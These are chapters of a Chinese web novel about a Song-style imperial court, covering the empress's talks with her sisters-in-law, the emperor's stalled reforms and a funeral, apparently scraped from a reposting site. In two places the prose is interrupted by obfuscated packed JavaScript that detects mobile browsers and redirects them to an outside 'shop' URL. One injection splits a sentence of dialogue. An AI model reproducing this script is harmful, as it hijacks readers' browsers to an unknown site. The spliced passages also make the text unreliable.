师冉月也叫木莲将自己的芍药放在书案上,土陶瓶与她前些日刚换上的一套檀木笔具相配,恰似春日泥土的气息,可生万物。原本窗前还有一只小陶瓶里插着几枝雏菊,比起芍药更有野趣,但昨日被端木玦在屋子里飞木鸢打碎了。 今日端木玦也因此被送到太学的小书房由老先生看着背诗去了。 “今年上巳连着寒食,听说兰鹊池特意办了集会,只可惜你我在宫里不能去瞧一瞧。” “又不是未出阁的姑娘相看夫婿去,有什么好瞧的。”兰鹊池旁的马球会原本是京中贵人喜好的娱乐之地,不知从何时潜移默化成了相看场,甚至被老学究写到文章里骂。后来夫人们为显端庄持重,也不约而同规避了兰鹊池,如今便默认成未成亲的男男女女们明里暗里相看之处了。 “那有什么,要我说,宫里后山那么大的空地,光长草岂不可惜?也该叫人开辟成马球场来,然后我便在宫中主持上巳节集会,叫内眷和公子们都进宫来打马球、蹴鞠、捶丸、插花、点茶,不比那虚与委蛇的端午宫宴快活多了。”师冉月道,又恨恨地可惜:“如今不过两三日的功夫,今年这计划铁定是实现不了了。你且等着,明年我一定下旨举办,就算办不成,把那块地方开辟出来给皇子公主们打打马球、放放风筝也是好的。” 林绵手里捧着自己从宫中带来的毛尖,笑得无奈:“你这个做皇后的,带着皇子公主们胡闹,当心前朝非议。” “我如今是懒得管了,我处处小心的时候,晚上多吃了一碟点心他们也要说,简直不知道是从哪里知道的。我随意着来,他们反倒没有言语了,想必是根本说不过来所以懒得说了。” “非也非也,近来似乎前朝事忙,不知道是发生了什么,所以言官才没有功夫批评后宫琐事了。连城儿都被他父皇捉了去旁听。后日不是云和长公主就要进宫来了吗?到时候你问问她想必就知道了。” 师冉月眯眼瞧着林绵那一副事不关己瞎出主意的样子,好似村口那些拿一盘葵花子或是南瓜子磕着唠闲嗑的大妈大婶,眼神里只有她的茶和糕,仿佛现在问她刚才说了什么她都回答不上来。她扭过头暗自在心中边腹诽边叹气,忍不住想身为长公主和皇后又同时是姑嫂的两个人在宫中妄议朝政被人知道了会是什么结局,会不会比她直接下旨将沈案之任命为太子太保更严重些。 林绵却在一旁笑眯眯道:“怕什么,陛下还是很爱重你的。” 师冉月歪头看过来。 “一个月三十日陛下又不是每天都在后宫过夜,却还是逢五逢十都来坤宁殿,外邦进贡了什么宝物也是先可着坤宁殿,一到换季,时兴的绸缎布料流水一样的往这儿送,这可是孙才人把御花园的竹子都哭成湘妃竹也得不来的恩宠呢。” 师冉月只对后半句好奇:“孙才人......还有这等事?” “那是,还挑大晚上,被我嘱咐看着蔷薇花开没开的小内侍瞧见了,怪道后来陛下就不常去她阁中,装委屈也该挑个好时候好情形啊,她以为是湘妃还魂巫山云雨,结果是夜半惊魂鬼哭狼嚎。” 两人四目相对,不约而同“噗嗤”笑出声来。师冉月笑了一会儿,却道:“你也别这么促狭,人家年纪小,想争宠有什么错?不过是方法好笑些罢了。” 林绵摇摇扇子,道:“她既追随了徐昭仪,也不知道跟她学一学,真是......傻得可爱啊。” “你也别提,当初在京城时,你成日里听了烟水的话到处跟着陛下走,以为我们两个有什么,要离京了还巴巴地寻我说那一番话,哪里还有脸说人家?” “那你们那厢难道便当真什么也没有吗?哪家未出阁的女子成日里与外男私会,谁知道你们是不是当时就暗通款曲。” 合月在旁边听着,几次想插嘴却又不敢,几乎要无奈地捂脸哭出来了。音儿却笑着将她拉到一旁,道:“你怎么这么难为情?” “难道就让娘娘和贵妃娘娘继续说这些大逆不道的话吗?若是被人听见......” “这是什么大逆不道的话吗?何况事实不也是如此嘛,你们世子爷当年先迎了侧夫人进门,还私下里将我们姑娘捉去见面,我们师家没说他坏了姑娘的名声都算好的了。” 合月登时急了,拉着音儿走到外面道:“你别黑白不分啊!当初见面是我们世子一厢情愿吗?何况有影卫在外人怎会知道,我敢说连师太傅如今都不知道定亲前你们姑娘和世子见了几次罢?”话音还没落,却看见音儿已经是一副揶揄的表情看着她,“这不就是了嘛,有影卫在,谁就算想多说什么,能说的出口吗?” 送走了俞安乐,端木萌叹道:“我有那般凶神恶煞么?一个从前都没与我说过话的人会被我吓成这样。”方才俞安乐本来似是兴高采烈地来寻师冉月,却忘了今日是云和长公主进宫的日子,看见坤宁殿里与师冉月相对而坐的端木萌,登时吓了一跳,战战兢兢行了礼后就无比拘谨地坐在一旁,茶接到手里喝了没两口就借口更衣匆匆离开。 “还没叫她见过我长姊呢。”端木萌撇嘴,端木葭不比她吓人百倍?又叹道:“外人多敬我几分,不过是因为你这个皇后和阳曲侯的缘故。我又不是陛下的亲妹妹,否则单因为我这一个长公主的身份何至于此。” “怎么会?比起怀宁长公主大化政变的时候带着子女避居岳氏祖籍蒲阳,云和长公主却只身进宫以一己之力掣肘当时的太后何氏,戴孝元宗,白衣守宫,市井百姓也爱听这故事,对此拍手赞叹,他们又怎会是因为师家的缘故而敬畏你呢?” “你哪里知道这些说书的段子?”端木萌不知为何脸颊晕了些飞红,却又转瞬叹道:“不过这些也总有说书先生为了噱头夸大的成分,那故事讲的似乎没有我,史自兴便要篡权夺位改朝换代成功了一样,说到底这不过是事后茶客们爱听的,可当时震慑住史自兴的不还是陛下和安王等人带的军队,还有师家的私兵么。” 师冉月忙捂住端木萌的嘴。 “怕什么。”端木萌挣脱出来道,“陛下又不是不知道。” “哪里是怕陛下知道。这宫中人多眼杂,谁知道窗外的耳朵连的到底是哪里,是京中某个府邸,还是哪个州郡某位大人的书房,又或者是外邦藩属。你是自小在宫中长大的,怎么会这么不小心?” “我当时又不知道什么紧要的事,怕什么,就是有耳朵也犯不着在我的窗外。”端木萌左一个红豆酥右一碗荠菜圆子,心满意足道:“你的小厨房无论在哪儿总是最好吃的,别人都做不出这个味道来。” “那是本宫亲自尝试得来的配方,有价无市。” “唉,可惜了,家中现在都没有几个能坐下来好好吃饭的人。你三哥四哥成日里在外面忙得团团转,我和镜妤在家里也跟个陀螺似的,四弟妹照顾大嫂子还有孩子们,近日也瘦了好些。我进宫来反倒像是躲清闲了。”一年多来二人每每见面,总是逃不过说萧晨的病,却也总是那些一样的话,磨得人从一开始的提心吊胆变得有些习以为常。 “那焕哥儿可还好?” “好,都好。焕哥儿读书认真,颇有他父亲当年的风范。起初他担心大嫂,总是偷偷回去看她,却又被大嫂狠心骂回来,于是也就把自己关在书房里认真苦读了起来。我起初还担心安居堂那块又是祠堂又是各种树的太阴森,这孩子不得害怕?谁想到他竟能沉下心自己一人苦读。唉,我那两个小子要是能学学他们大哥一半就好了。” 师冉月抢走她手边又要拿起来的一碟乳酪,叫木莲收下去。端木萌皱眉,把茶端过来喝,道:“离午膳还有一会子,我填填肚子怎么了。” “一会子?一个时辰都不到了。”师冉月上手寻摸着掐了掐她的腰身,嘀咕道:“倒是不见你胖......不过你这么吃下去都可以算‘暴饮暴食’了,就算不胖,脾胃也受不了,那可比胖还吓人。” 行湘笑道:“娘娘不知,我们殿下在侯府也是这么个吃法,手上看着账本,或是盯着哥儿姐儿们温书,嘴里就停不下来。四夫人说这是焦虑所致,给开了调理的药来,但做事时吃东西却已经成了殿下的习惯了。” 师冉月摇头,叫行湘一定按张雁的嘱咐管好端木萌的饮食。端木萌身边原来从宫里跟着她出降的两个宫女尧儿和绵儿都和音儿前后出了嫁,之后也不再回来侍奉,她身边如今只一个二十出头的行湘是老人了,剩下的是两个十六七的小丫头,一个叫绮红,一个叫绮香,是在逢州时从家生子里选出来带在身边的。这两人分别跟着尧儿和绵儿,如今又跟着行湘,比起啼樱年龄小些,却是稳重利落多了,总叫师冉月玩笑着羡慕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“地方上......其实说白了,就是一个收权。可是你想,负责推行此事的哪个是清清白白家徒四壁,只身一人就走到这位子上来的。好比收权收到逢州,那收的不就是师家。官氏那兄弟俩起初还颇热血,叫你三哥一点明,这些日子也对此事避而不谈。可以说此事比起市舶司还没有进展了。” 又道:“不过你如今当真一点前朝的事都不晓得了?” “后宫本就不该干政。”倒不是端木玄真的对她设防,甚至偶尔二人一同用膳或品茶时,他还会主动说起,只是师冉月自己懒得惹麻烦,于是端木玄肯说多少她就听多少,也只敷衍着回应一二,不再主动发表自己的看法了。 “今日他肯说,还要听你的看法,指不定明日又翻脸。我为何要趟这趟浑水。” 端木萌瞧她耷拉着眉眼恹恹的样子,心下暗叹,只道:“子持说你从小就喜欢听父兄说朝政,也爱自己分析,如此一来,岂不憋坏了你。” “我只是喜欢,况且彼时关起门来在家中有什么大不了的,哪似现在。既然不干政对我更有利,我便管好后宫就罢了。”又转而道:“你也小心着,你可又是皇亲又是外戚的,当心哪天也被参了。” 国朝素来君主大权在握、一手遮天,史自兴以前,还没有权力旁置到宦官或是外戚等手中的时候。武宗后来平衡朝政的手段有些过激,却也正是无人能质疑他绝对的权力的缘故。因此对外戚并不大设限,有能力的外戚也可任职高官。 原本依着武宗后期的做派,这种格外的“宽宥”大概要停止了,尤其史自兴上台也有一半“外戚”的因素,若是紧接着换一个君主上位,怎么也该顺势抑制外戚,启用新人。 不过,平了大化政变而上位的,是端木玄。 端木萌总是对这些满不在乎的样子,好似昭献皇后还稳坐中宫的光景。这会儿她也没注意到师冉月忽悠一下子又陷在她自己的深井里,抱着跑过来叫她姑母的端木玦逗着。又道:“陛下如今有二子一女了,近来那些侍寝的新人里,可有人有什么信儿么?” “没。”师冉月晃过神来,“玦儿,别缠着你姑母抱了,你都多大多沉了。” “无妨,我抱过五......四个孩子长大,比你可有经验。棠欢和玦儿一般大,倒比玦儿还胖乎些,脸上全是肉,跟个肉包子一样。” “玦儿成日里跟着他兄长跑来跑去,想胖也胖不起来。不过我与陛下商议着,今年夏天便叫他正式跟着三哥和沈先生念书去。大皇子也快到出宫立府的年纪了,日后他们兄弟俩想玩也难,所以近来便放任着他们胡闹些。” “大皇子已经到了立府的年纪了么......算起来真是。”端木萌瞪眼掰着指头算道,“一恍竟这么久了,自出了京城到回来,我总觉得似是没过多久一样。” “是啊,京城倒是没什么变化。”师冉月附和着,却暗叹若是自己能像还在家中那般随意到外面四处转转,定能发现许多不同,也不必困在这方寸之地凭着子女的岁数感慨岁月流逝了。近日里她算着进宫也快两年了,就觉得憋屈无法言说,整个人都没劲儿。她又怕极了这种“没劲”,好像再一不注意就要完全溺毙在不见天日的水草错杂缠绕泥沙涌动的湖底了,于是拼命往上挣扎,哪怕亲手把茉莉蜜茶一一配好,也比倚在榻上迷蒙地过一整天要好。 端木萌招呼合月叫她领走端木玦——她如今是专门负责端木玦的起居了。啼樱出宫后,师冉月身旁又离不开音儿,便也只有合月是自小看着他长大的了。 确定端木玦不会“坏事”,端木萌走到师冉月面前,抿着嘴儿捏着手帕的两个角儿,悄声把手帕扔在她脸上。 “你做什么!别跑啊——” “我哪里跑了。你今日是怎么了,总是愣神。” “哪里......差不多到时辰了,快去净手准备用膳罢。” 40. 第 40 章 四月里的天忽一会儿热忽一会儿凉。 天边一弯月亮孤零零的挂着,周遭的星子没什么光彩,天又黑得干净,更显得月亮孤单,像是一把被随意丢弃在荒废的田野里的镰刀。 近黛一袭改过的像是舞裙般的紫蓝色衣裙,裙摆随着脚步涟漪般绕在脚腕间,婷婷袅袅,像是盛开的晚香玉。 她一个人来,手里挑着个有些暗的宫灯,伴着她的步子也一摇一摇的,一时间竟叫坐在院子里吃馄饨看月亮的师冉月觉得不知道走过来的是人还是志怪集里头魅惑人心的美艳女妖了。 “娘娘万安。娘娘怎么在这里坐着,当心着凉。” 师冉月直起腰身,把馄饨碗放在一旁的藤桌上,微微咧开嘴笑得像是烤栗子裂开的一点缝,问道:“你怎么来我这儿了?” “娘娘忘了,今日是初五。” 逢五逢十,端木玄按例要在皇后处留宿,近黛也雷打不动的过来走一趟。 “哦。”师冉月恍然。她倒是忘了这事儿了,不过也没什么打紧的,只叫木莲和春桃去准备着,又对近黛柔柔笑道:“若是没有别的事要忙,不妨坐下来吃盏茶。” “坤宁殿里的饮食都是极好的,可惜我今日没这个福气了。”近黛勾唇道,随后微微俯身行了一礼,便转身告辞。音儿端着一碗消食茶走过来递给师冉月,看着身后因为要忙着迎接端木玄而重新闹腾起来的大殿叹了口气。吴怀安也叹道:“是奴才们失职,竟无一人想到今日该是陛下过来的日子了。” “不是你们的错。”师冉月仰头一口灌完了一碗茶,起身在院子里来回散步,道:“就是逢五逢十,陛下也不一定来,或是留宿清和殿忙政务,或是歇在别的阁里,也不是没有过的事,我们犯不着为此大动干戈。”说完就继续自在地来回走着消食,心下还留恋着那碗馄饨的味道,并衷心希望刚才的近黛只是自己不小心睡着了做梦,梦中恍惚出现的某个仙人或是女妖,并没有实在地过来告诉她这个噩耗。 当然那是不可能的。师冉月堪堪消化完食回到殿内的功夫,端木玄就踏进了院门。 师冉月回身行礼道:“好巧啊陛下。” “巧什么,近黛不是刚刚过来了。”他看见院中的藤椅藤桌,虽然碗筷等已经收走,然而想都想得出来师冉月大概是刚刚吃碗一碗热乎乎的汤面或是馄饨。“怎么,我打搅你的雅兴了?” 师冉月松了松眉眼,道:“算是吧。” 音儿带着人退了下去,阖上殿门。师冉月便也自顾自走在端木玄前头,绕到屏风后,道:“我还未更衣,陛下自己坐会儿吧。” “一口一个‘陛下’,自己却不称‘臣妾’,这里就你我,你也不嫌别扭。” “那我叫你什么,‘夫君’?也不年轻了,你也不嫌肉麻。” “云和不是就经常叫师太傅的字吗。你又不是没叫过。” “哦。由许。”师冉月换好衣裳,从屏风后探出头道:“你可满意了?”说着走出来到梳妆台前坐好,准备一一卸下钗环,她今日一天都呆在自己宫里,只做寻常打扮,两对玉钗挽住头发,十分好拆卸,也用不着人帮忙。正要动手,却听得坐在后面自己给自己倒了碗茶喝的端木玄揶揄笑道:“满意了,容琯。” 师冉月闻声身躯一颤,忍住翻白眼的冲动,只装作没听见。 端木玄却起身走到她身边,弯下腰身替她摘耳上的玉铛。呼吸打在她的颈侧,下意识一躲,却被他揽着肩定住,轻声道:“别躲,要出血了。” 师冉月却抬手利落的摘掉了另一边,道:“没有你就不会出血。” 端木玄站在一旁等她收拾完,二人便一起亲自熄了一路的灯,双双躺倒在榻上。师冉月道:“我以为你会有什么事要跟我说。” “说什么?” “后宫,比如你想晋谁的位分。”又睁眼正色道:“说来你若是想晋去年新入宫的才人们的位分,不如先把徐昭仪至少升到妃位,她到底是王府旧人,又给你生了女儿。” 端木玄吻着她的眼睛叫她重新闭上,气声道:“再说罢。专心。” 师冉月叹息着喘气,却也不再说话。 良久,传水的宫人退了下去,师冉月睁眼望着隐没在漆黑中的床幔的缧丝花纹,被端木玄拥入怀中,道:“怎么还不睡?” “睡不着了。” “不累吗?” 师冉月没有回话。过了一会儿,她转了转身,闭上眼睛,把头枕在端木玄肩上道:“由许......” “什么?”端木玄已经快要睡着,几乎是没过大脑从喉咙里挤出的呢喃。 “我们接下来就要在这宫里吗,一辈子?” 端木玄睁了睁眼睛,借着月光,看见师冉月面庞平静,也是一副要睡着的模样,便又阖上双眼,道:“再说。” 次日早上,师冉月睁眼时瞧见大亮的天光,对于没有人叫自己起床十分震惊,从床上下来瞧见端木玄散着头发悠哉地吃着早膳更加震惊。 “你不用去上朝?” “我昨日下旨,恢复穆宗前期每十日休沐一日的政令,今日便是头一次休沐日。” 师冉月瞪眼,“你不是要改革要大展宏图,现下却先休沐上了?” “劳逸结合才是真。” 师冉月无话可说,自己洗漱收拾,又忍不住道:“坤宁殿的宫人不会也都被你‘休沐’了罢?” “我叫他们没事不必进来打扰。音儿和合月她们带着玦儿去画院玩了。”一边说着,一边撂下筷子,走到师冉月身后按着她的指挥帮她挽起头发。师冉月的头发打小就是人人称羡的又厚又黑,生了端木玦之后身体亏损,头发一掉就是一大把,看上去几近少了一半,不过这两年又渐渐养了回来,因此单凭她一人实在是完不成自己梳头的壮举,只能容忍端木玄笨手笨脚的操作,折腾了半天,总算是盘出了个单髻,师冉月连忙把他的手从自己头上扒拉走,开始从妆匣里挑选发饰。 端木玄也不闲着,对她选出来的簪子指指点点:“成天戴这几个,不是白的就是青的,我成日里叫人给你送来那么多玩意儿都去哪儿了?那些走的又不是国库,是我叫烟水打理的原先的私账,不用省着。” 师冉月抬头看他,目光警惕,试探道:“那些是烟水选的?” “不是啊,是我选的。” 师冉月松了口气:“我说呢......烟水的眼光应该没有那么差。” “什么意思?” “不是金的就是各种五颜六色的宝石,还有点翠的珐琅的,戴上去像是西域的舞女或是大食的那种挂毯。” 端木玄却从她的妆匣里调出几朵粉玉珠花插在她的发间,道:“那怎么了,你还年轻,又是皇后,成日里戴这些素净的东西做什么,不知道的还以为你在守寡。” 师冉月“嘶”一声,道:“你怎么年纪越大话越多了?瞎说什么。赶快去继续吃你的去,我自己弄。”说着三下五除二匀面上妆,最后还是按着那几朵珠花的颜色,选了两只镶着同色宝石的金步摇和玉铛,随即净了手,也坐到桌前开始用膳。 宫人早已在外候着,等她甫一坐好,便又重新上了一批热腾腾的她喜欢的菜色,又齐刷刷退了下去。 端木玄已经快要吃完,此时不紧不慢地吃着山药糕,倒更像是纯粹在陪着师冉月。师冉月自己饿了,也不顾什么形象,像是坐在逢州家门口巷子的铺子里的长条木凳上一样,三下五除二就解决了一碗花胶鸡肉粥,接着夹起一个被端木玄提前开了一点口晾好的灌汤包,味蕾得到满足,五官也跟着舒展开,嘴一直在咀嚼,而眉眼都染上笑意。 端木玄戏谑般轻笑道:“这么能吃,不会又有了吧。” 师冉月愣住,咽下口中的食物,旋即皱眉道:“我每日都吃这么多。”又道:“你若是吃完了,就赶紧去处理前朝政务,别赖在我宫里,替那些言官省省笔墨和唾沫。” 端木玄却道:“没什么事可做。”在对面人疑惑的目光中,他继续道:“因为什么事都做不了。” 他这话说的像是“今天的山药糕糖加的不够”一样。 师冉月了然般继续低头吃自己的灌汤包。 端木玄仍旧望着她,神情平静的像是一张新铺开的宣纸,洁白柔软,好似只是在欣赏她进食一样,就像他曾评价的那样:“像不会往双颊储存食物的仓鼠”。 师冉月就这样在他的目光注视下神态自若地吃完了自己的早膳,待宫人鱼贯而入又鱼贯而出后,端木玄似是才从某个世界抽离,眼神轻轻落到师冉月的瞳孔中,道:“真叫你当初说中了。” 师冉月不语。她大概知道他指的是哪天她说的话,但是那一天她具体说了什么其实她已经记不太清了。于是她也只是笑笑:“你也没有做错什么。若是早生几十年,也许一切就好了。” “早生几十年——那也不会有这种事落到我头上了。” 过了一会儿,他又继续道:“那天安谈和上了折子,请求告老还乡,其间种种,不乏批评我冒进妄为。孙式后来请求赐对,话里话外批评我任人唯亲,尤其在任师霖为太傅一事上不满。” “安尚书和孙尚书都是朝中的老人了。我三哥的确年轻,这样的年纪任太子太傅,又兼着国舅和驸马的身份,其实......确实不太妥当。” “讨伐史氏时,师霖功不可没。” “但是他之所以有功,是因为我家的私兵,这是不能宣之于口的。原先这样的事还可以说是大家默认的,但是武宗后期已经把有私兵的人家清算的差不多了,朝中换水,许多人自然不晓得这种秘辛。” “呵。你倒是敢说,这时候就不怕隔墙有耳了?” 师冉月一副“你看我就说,耳朵就是你”的样子看着他。端木玄却未多理会,接着道:“朝中没有可用之人。” “只是不能为你所用罢了。”师冉月道,“如今在朝为官的也不止是像我三哥四哥还有官氏兄弟这样的年轻而靠荫封入仕之人,也有科举上来的年龄相仿的新人,四五十岁的中流砥柱,还有像安老这样历经风雨的几朝老臣。人多的是,有才干的也不少,就好比官尚书,虽也年轻,但礼部诸事一时半会儿应该找不到比他更精通的了。再比如工部侍郎宋亭,自为官以来参与负责治理了四次黄河决口,武宗和元宗的皇陵也是他负责设计修建的。比起孙尚书他倒还年轻近十岁,但除了工部尚书刘晦,谁又能替代他呢?就连孙尚书本人,虽然他有些倚老卖老,说起话来胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226155|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搅蛮缠,但熟记历朝历代的例律,平反了不少冤假错案。最难能可贵的是他为官几十年始终保持中立,从未参与党争。清高也好自保也罢,这样的人却是最能供你差使的人。” 她喝了口茶清嗓,看端木玄似是听进去了,又接着说道:“人逐利而动,比起有一番作为青史留名,更多的人还是会主动或被迫选择自保。谁不会爱惜自己和家人的性命呢?何况若是不仅能保命,还能享受荣华富贵,也不需要做什么伤天害理的事,何乐而不为。所以若想做‘舟’,必然要能给‘水’以利益。而如今朝中大多数人并不从你这儿得利,各自拥护他们隐形的‘主子’,自然不理会你。这些话由我说出来不合适,但这就是事实。同样的原因使那么一群人曾经拥护我父亲,而如今拥护我三哥,即使他还‘太年轻’。” 端木玄微微低着头,垂下的眼睑像是低垂的夜幕,叫人抓不住太阳,也看不清情绪。 师冉月吸了一口气,起身微微行礼,道:“是我僭越了。” “无妨。”意外的听到应声而来的答复,师冉月倒是微微愣了神。上一次她这般“大肆评议”后的诡异的沉默像是不约而同的冷战,两个人之间其余的事都好似正常,但却对事情的根源都避而不谈。凡是能见到他们二人的都知道帝后之间出了岔子,却又愣是不知道问题出在哪里。 也许他们两个自己也不太清楚。 没有人想打破这种别扭的平衡。 时间会解决一切,仅此而已。 她不想主动做出些什么,像林绵或者端木萌曾说过的“主动”,或是干脆像戏折子里那些披着某个男人的某种理想或寄托而完全违背常理奔赴所谓爱情的女子那样。她又深知自己和眼前这个人是个什么德性——认识十三载,成婚近十年,再不知道那这辈子就不会知道了。所以即使端木玄说“无妨”,她也已经准备好迎接新的一轮拧巴的“半冷战”。 她倒是很擅长这个。 端木玄却看着她,突然笑道:“你在想什么弯弯绕绕的。”说罢拉着她的手叫她坐下,接着道:“这些事先放一放,不急于一时。今年端午宫宴,我打算请各地藩王进京共同赴宴,其余的事照例由你全权操办,若是有需要,可以找近黛。” 师冉月心下明了,轻叹一声点头应下,却又奇道:“为何是找近黛,烟水呢?” 近黛的名字不在宫中名册上,只是像一个影子,或者一层屏障,时时伴在端木玄身边为他效力。旁人大多因为她时常在清和殿,又偶尔替端木玄在宫中传话,便当她是清和殿的宫女罢了。比起她,烟水却是实实在在领了清和殿掌事宫女的身份。 “她最近有别的事忙。” 闻言,师冉月便也不再多问。 偷得一个上午的清闲,端木玄终究还是要回到清和殿的书案前面对那些还未批阅的折子。他刚登基时不大明白为何太祖皇帝会将寝宫、书房和赐对朝臣的地方都设在清和殿,如今想来大概做皇帝的宿命就是如此。方寸间观天下、治天下,天下也仅在方寸间。 空气中隐隐有些潮湿的味道,天也灰突突的。师冉月送他到坤宁殿门口,道:“恐怕又要下雨了,还是快些走吧,免得麻烦他们。” 端木玄点点头,接过师冉月“施舍”他的山药糕和蜜茶,转身离开坤宁殿,像离开老天爷给他特赦的桃花源。 目送着那长长的队伍像摇曳的长尾巴鱼游走,音儿从一旁凑过来,浅笑着向师冉月道:“陛下和娘娘这两日倒像是寻常人家的小夫妻呢。” “多寻常?像你和成和那样吗。” 音儿红了脸,却认真思考道:“嗯......反正比侯爷和长公主还寻常些罢。” “啧,不说别的,就是‘小夫妻’这个‘小’字就已经完全不适配了。”师冉月想起自己眼角长出的细微的纹路,心头登时下起了杂乱的冷雨。转身回到殿中,看着“消失的”宫人重新活跃在殿内各处收拾他们俩弄出来的乱摊子,走到书案前把昨日午后没临完的米芾字帖扔给音儿:“米芾这字太难写了,还是给我换几本王羲之的罢。”又摊开一张崭新的宣纸,坐下一边思考着端午宫宴的事,一边“刷刷刷”快速写了起来。 音儿从旁瞄了一眼,把墨备好,便在一旁小桌上点茶。 师冉月写这种安排策划之类的东西向来条理清晰面面俱到,但字迹会越写越乱,直到最后如同天书,若是之后还有功夫呢,她也许会有心情再好好誊抄一遍;若是没有那这份“天书”就会直接交到合月手里。起初在王府时合月完全依赖音儿辨认她的字迹,但是过了个把个月就已然完全“出师”了。 木莲捧来一瓶刚刚和春桃一起插好的花,轻轻放到师冉月身后的一支檀木花架上,春桃跟在她身后拿来一个巴掌大的小陶瓶,里面插着几枝重瓣棣棠,放在了师冉月书案的桌角。 过了半个时辰,师冉月大手一挥,满意地看着面前写得满满当当的纸,叫来合月道:“今年端午宫宴不比往常,除了京中重臣及命妇,还要请安王、燕王和齐王进京赴宴。事不宜迟,一会儿你便先走一趟礼部传我的旨意,请安大人草拟请帖,选吉日送到各州王府。从今日到宫宴结束,你便不用照看太子了,专心此事便可。” “是。” 41. 第 41 章 复景二年四月末,正值暮春,与落花一同消逝的还有萧晨的生命。 自承祐三年从应郡望族萧氏古朴庄严的宅邸里嫁到京城的阳曲侯府,起初青涩拘谨,强撑场面,到后来应对自如人人称赞,成为后宅夫人的模范,好似也只是弹指之间的事。 如今刚好二十年过去。三十七岁,她才结束了做孙媳、儿媳、妻子、长嫂、母亲的一生,得以歇息。 众人一一祭拜过后,灵前便只剩师焕单薄的身影。 按着萧晨的遗言,不设路引,亦拒绝各家前来吊唁,于是挂着白绢的阳曲侯府大门紧闭,偌大的庭院像是早有预谋的屏障,外面的议论和里面的哭声各自飘散聚拢,两不相干。 几个年幼的孩子还未经历过亲人离世,面对骤然变得黑白的庭院天然地惧怕,杂乱的哭叫和乳母压低声音的哄劝糅杂在一块,井然有序下的混乱却已经叫人见怪不怪。 “娘亲......”师棠欢紧贴着端木萌站着,她被这笼罩着哽咽和抽泣的压抑氛围骇的有些喘不过气,双手揪着母亲的手,刚要说什么,却被身后站着的师婷欢捂住了嘴。 端木萌没有出声,微微侧身摸了摸小女儿的头,而后眼神示意长女带着弟弟妹妹们先到别处去。师婷欢懂事地点头,牵着棠欢还有旁边有些要打瞌睡的五妹妹幼桐的手往后院念栀堂走去。 其余几个年纪稍长的孩子都只沉默地红着眼眶,规规矩矩立在一旁。莞安素来情绪外放些,思及大伯母素日来温柔体贴的种种,尤其是师穆才去世的几个月里,端木婉异样的消沉避世,端木萌虽有心但毕竟精力有限,且时不时就会不经意间忍不住不耐烦地冲孩子们发火,而萧晨便像是常青的松树,坚定、温柔、敦厚,甚至即使她卧病在床的时间里,似乎在树下栖息寻求庇护的这些稚嫩的花草和小兽也从未设想过这棵树真正倒塌的那一天。 莞安的泪水落在景安肩头,也潮湿了景安的眼眶。她看着婷欢带着两个最小的妹妹离开灵棚,没了棠欢不受管控在人群间走来绕去的身影,使得一向擅长忍耐的景安也觉得窒息。她没有搭理越哭越伤心的妹妹,看了看站在斜前方的母亲,昏暗的烛光照不清她脸上的情绪,但她想母亲也不会喜欢这样的氛围——一切都像极了父亲去世的那一日的重现。 师迟、师玘、师言还有师琦兄弟四人都依次序陪大哥师焕跪着。 没有人好似都在自发地陪着师焕守灵,情绪各异,却也没人提出离开。良久,刻意压低了声响的急促的步子凑近,一个前院的侍卫从侧面进来同师霖低声说了些什么,师霖沉默僵硬的面孔动了动,沉声道:“宫里来了人宣旨。”端木萌忙叫行湘去后院将婷欢等叫回来。三个孩子才匆匆赶回来的功夫,宣旨太监刺着金绣的衣角已经进了灵棚,师霖定睛一看,竟是坤宁殿的掌事太监吴怀安,忙扶着师焕的肩将他推上前,同时领着众人跪拜接旨。 师婷欢跟着跪下来时,仍止不住气喘吁吁。她方才听得有人来宣旨,嫌弃两个妹妹走得慢,怕误事,身边又只跟了一个嬷嬷,便将幼桐交给嬷嬷,自己抱着棠欢小步跑回祠堂旁的灵棚,此时气儿还未喘匀,也只好低着头小口小口换气掩饰。 不过跪下来前,她已识得来传旨的太监是姑母宫中的吴怀安,心下便有了数。果不其然,前面大段都是套话,用以表达哀思抚恤,不寻常的也就是旨意最后追封大伯母萧晨为郑国夫人。这种并非是某某侯夫人的诰命本朝并不多见,偶尔为了表彰某位女子贤德,也都是封一些吉祥的字眼,而依国朝律例,“某国夫人”这样的诰命是有食邑的,虽然很少,但也能凸显尊荣厚待。 而萧晨如今寡居,唯一的儿子又还没有取得功名,能有这样的追封实在是看着师冉月的面子了。 虽说师婷欢一向觉得死后一切皆是空名,不过她也懂得这也是姑母被束缚在皇后的位子上,能为长嫂聊表哀思所做的最多的事了。 师焕叩谢皇恩,接过圣旨,又道:“臣多谢皇后娘娘。还请吴公公代我宽慰姑姑,有劳公公跑这一趟,请公公留下来吃盏茶。” 吴怀安瞟了一眼一旁的师霖,拱手道:“多谢大公子。皇后娘娘听说夫人辞世,悲痛不能自已,却碍于宫规不能出宫,只好叫奴才代为探视,请侯爷、夫人和公子姑娘们节哀。” 师霖拍了拍师焕的肩,上前半步道:“臣等一切都好,请代为转告娘娘莫要太过悲伤,振作精神,办好端午宫宴等事,才好告慰长嫂在天之灵。长嫂辞世前亦有遗言,请娘娘莫要为了她大张旗鼓,丧仪等事皆一切从简。” “郑国夫人贤德,实乃妇孺典范。” 吴怀安又问候了岳诗韫,与师骁、端木萌等客套了两句,便告辞离开。身后跟着的十几个小太监默默抬进来好些檀木箱子,为首的自端木萌处领了赏赐,又低着头一溜烟儿走了。 岳诗韫瞟了眼那些箱子,便冷声称累了,扶着嬷嬷的手慢慢往回走。张雁跟上去侍奉,端木婉也抽身去更衣。端木萌叹了口气,命人将那些箱子原封不动抬到库房去收好,又领着师焕道:“好孩子,你已经跪了六七个时辰了,快随我去吃些东西垫垫肚子,不然你母亲该心疼了。你母亲灵前还有你三叔四叔和弟弟妹妹们守着,莫要担心。” 